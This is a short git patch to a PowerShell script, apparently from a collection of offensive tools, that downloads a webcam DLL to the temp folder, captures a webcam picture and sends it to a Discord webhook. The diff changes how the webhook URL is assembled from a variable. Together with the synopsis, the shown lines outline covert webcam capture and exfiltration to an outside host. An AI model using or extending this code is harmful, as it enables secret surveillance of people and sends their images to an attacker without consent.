From 14ecdcb75eed4c0ffa5b5311614156277bb5b537 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Thu, 19 Jun 2025 16:57:08 +0000 Subject: [PATCH] Update main.ps1 --- Webcam-to-Discord/main.ps1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Webcam-to-Discord/main.ps1 b/Webcam-to-Discord/main.ps1 index 217f11e..be2f6b6 100644 --- a/Webcam-to-Discord/main.ps1 +++ b/Webcam-to-Discord/main.ps1 @@ -4,9 +4,10 @@ SYNOPSIS download a webcam.dll file, find a webcam cand take a picture then send it to discord. #> - $hookurl = "$dc" -if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url} +if ($hookurl.Length -lt 120){ + $hookurl = ("https://discord.com/api/webhooks/" + "$dc") +} $dllPath = Join-Path -Path $env:TEMP -ChildPath "webcam.dll" if (-not (Test-Path $dllPath)) { $url = "https://github.com/beigeworm/assets/raw/main/webcam.dll"